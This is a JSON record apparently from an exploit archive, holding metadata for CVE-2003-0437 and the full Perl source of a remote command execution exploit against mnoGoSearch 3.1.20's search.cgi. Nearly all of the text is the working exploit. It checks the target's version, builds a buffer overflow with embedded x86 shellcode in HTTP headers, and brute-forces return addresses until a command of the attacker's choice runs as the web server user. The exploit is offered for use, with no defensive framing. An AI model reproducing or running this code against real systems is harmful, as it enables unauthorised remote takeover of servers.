{"exploit":{"id":"EDB-41","name":"mnoGoSearch 3.1.20 - Remote Command Execution","description":"mnoGoSearch 3.1.20 - Remote Command Execution","cves":["CVE-2003-0437"],"author":"pokleyzz","published":"2003-06-10","platform":"linux","type":"remote","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/41","path":"exploits/linux/remote/41.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-41.pl","vulnerabilities":[{"id":"CVE-2003-0437","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in search.cgi for mnoGoSearch 3.2.10 allows remote attackers to execute arbitrary code via a long tmplt parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2003-0437","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2003-0437"},"updatedAt":"2024-08-08T01:50:48.189Z","retrievedAt":"2026-11-26T12:06:53.759Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-41.png?v=2","url":"https://exploitbin.com/exploits/EDB-41","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-41/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-41/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#\n# [ reloaded ]\n# Remote Exploit for mnoGoSearch 3.1.20 that performs\n# remote command execution as the webserver user id\n# for linux ix86\n# by pokleyzz\n#\n\nuse IO::Socket;\n\n$host = \"127.0.0.1\";\n$cmd  = \"ls -la\";\n$searchpath = \"/cgi-bin/search.cgi\";\n$rawret = 0xbfff105c;\n$ret = \"\";\n$suffsize = 0;\n$port = 80;\n\nmy $conn;\n\n\nif ($ARGV[0]){\n\t$host = $ARGV[0];\n}\nelse {\n\tprint \"[x] mnogosearch 3.1.x exploit for linux ix86 \\n\\tby pokleyzz\\n\\n\";\n\tprint \"Usage:\\n mencari_sebuah_nama.pl host [command] [path] [port] [suff] [ret]\\n\";\n\tprint \"\\thost\\thostname to exploit\\n\";\n\tprint \"\\tcommand\\tcommand to execute on server\\n\";\n\tprint \"\\tpath\\tpath to search.cgi default /cgi-bin/search.cgi\\n\";\n\tprint \"\\tport\\tport to connect to\\n\";\n\tprint \"\\tsuff\\tif not success try to use 1, 2 or 3 for suff (default is 0)\\n\";\n\tprint \"\\tret\\treturn address default bfffd0d0\\n\";\n\texit;\n}\n\nif ($ARGV[1]){\n\t$cmd = $ARGV[1];\n}\nif ($ARGV[2]){\n\t$searchpath = $ARGV[2];\n}\nif ($ARGV[3]){\n\t$port = int($ARGV[3]);\n}\nif ($ARGV[4]){\n\t$suffsize = int($ARGV[4]);\n}\nif ($ARGV[5]){\n\t$rawret = hex_to_int($ARGV[5]);\n}\n\n#########~~ start function ~~#########\nsub hex_to_int {\n\tmy $hs = $_[0];\n\t$int = (hex(substr($hs, 0, 2)) << 24) + (hex(substr($hs, 2, 2)) << 16) +\n                         (hex(substr($hs, 4, 2)) << 8) + + hex(substr($hs, 6, 2));\n\n}\n\nsub int_to_hex {\n\tmy $in = $_[0];\n\t$hex = sprintf \"%x\",$in;\n}\n\nsub string_to_ret {\n\tmy $rawret = $_[0];\n\tif (length($rawret) != 8){\n\t\tprint $rawret;\n\t\tdie \"[*] incorrect return address ...\\n \";\n\t} else {\n\t\t$ret = chr(hex(substr($rawret, 2, 2)));\n\t\t$ret .= chr(hex(substr($rawret, 0, 2)));\n\t\t$ret .= chr(hex(substr($rawret, 6, 2)));\n    \t\t$ret .= chr(hex(substr($rawret, 4, 2)));\n\n\t}\n\n}\n\nsub connect_to {\n\t#print \"[x] Connect to $host on port $port ...\\n\";\n\t$conn = IO::Socket::INET->new (\n\t\t\t\t\tProto => \"tcp\",\n\t\t\t\t\tPeerAddr => \"$host\",\n\t\t\t\t\tPeerPort => \"$port\",\n\t\t\t\t\t) or die \"[*] Can't connect to $host on port $port ...\\n\";\n\t$conn-> autoflush(1);\n}\n\nsub check_version {\n\tmy $result;\n\tconnect_to();\n\tprint \"[x] Check if $host use correct version ...\\n\";\n\tprint $conn \"GET $searchpath?tmplt=/test/testing123 HTTP/1.1\\nHost: $host\\nConnection: Close\\n\\n\";\n\n\t# capture result\n\twhile ($line = <$conn>) {\n\t\t$result .= $line;\n\t\t};\n\n\tclose $conn;\n\tif ($result =~ /_test_/){\n\t\tprint \"[x] Correct version detected .. possibly vulnerable ...\\n\";\n\t} else {\n\t\tprint $result;\n\t\tdie \"[x] New version or wrong url\\n\";\n\t}\n}\n\nsub exploit {\n\tmy $rw = $_[0];\n\t$result = \"\";\n\t# linux ix86 shellcode rip from phx.c by proton\n\t$shellcode = \"\\xeb\\x3b\\x5e\\x8d\\x5e\\x10\\x89\\x1e\\x8d\\x7e\\x18\\x89\\x7e\\x04\\x8d\\x7e\\x1b\\x89\\x7e\\x08\"\n\t             .\"\\xb8\\x40\\x40\\x40\\x40\\x47\\x8a\\x07\\x28\\xe0\\x75\\xf9\\x31\\xc0\\x88\\x07\\x89\\x46\\x0c\\x88\"\n\t             .\"\\x46\\x17\\x88\\x46\\x1a\\x89\\xf1\\x8d\\x56\\x0c\\xb0\\x0b\\xcd\\x80\\x31\\xdb\\x89\\xd8\\x40\\xcd\"\n\t             .\"\\x80\\xe8\\xc0\\xff\\xff\\xff\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n\t             .\"\\x41\\x41\"\n\t             .\"/bin/sh -c echo 'Content-Type: text/hello';echo '';\"\n\t             .\"$cmd\"\n\t             .\"@\";\n\t$strret = int_to_hex($rw);\n\t$ret = string_to_ret($strret);\n\t$envvar = 'B' x (4096 - length($shellcode));\n\t$envvar .= $shellcode;\n\n\t# generate query string\n\t$buffer = \"B\" x $suffsize;\n\t$buffer .= \"B\" x 4800;\n\t$buffer .= $ret x 200;\n\n\t$request = \"GET $searchpath?ul=$buffer HTTP/1.1\\n\"\n\t\t   .\"Accept: $envvar\\n\"\n\t\t   .\"Accept-Language: $envvar\\n\"\n\t\t   .\"Accept-Encoding: $envvar\\n\"\n\t\t   .\"User-Agent: Mozilla/4.0\\n\"\n\t\t   .\"Host: $host\\n\"\n\t\t   .\"Connection: Close\\n\\n\";\n\n\t&connect_to;\n\tprint \"[x] Sending exploit code ..\\n\";\n\tprint \"[x] ret: $strret\\n\";\n\tprint \"[x] suf: $suffsize\\n\";\n\tprint \"[x] length:\",length($request),\"\\n\";\n\tprint $conn \"$request\";\n\twhile ($line = <$conn>) {\n\t\t$result .= $line;\n\t\t};\n\tclose $conn;\n\n}\n\nsub check_result {\n\tif ($result =~ /hello/ && !($result =~ /text\\/html/)){\n\t\tprint $result;\n\t\t$success = 1;\n\t} else {\n\t\tprint $result;\n\t\tprint \"[*] Failed ...\\n\";\n\t\t$success = 0;\n\t}\n}\n#########~~ end function ~~#########\n\n&check_version;\nfor ($rawret; $rawret < 0xbfffffff;$rawret += 1024){\n\t&exploit($rawret);\n\t&check_result;\n\tif ($success == 1){\n\t\texit;\n\t}\n\tsleep 1;\n}\n\n# milw0rm.com [2003-06-10]","sha256":"7d164486aa711c87c6440b1874622bc78e79b984628fd61508c662f7f27d3408","bytes":4183,"fetchedAt":"2026-11-26T12:06:51.844Z","encoding":"utf-8 (display only; download retains original bytes)"}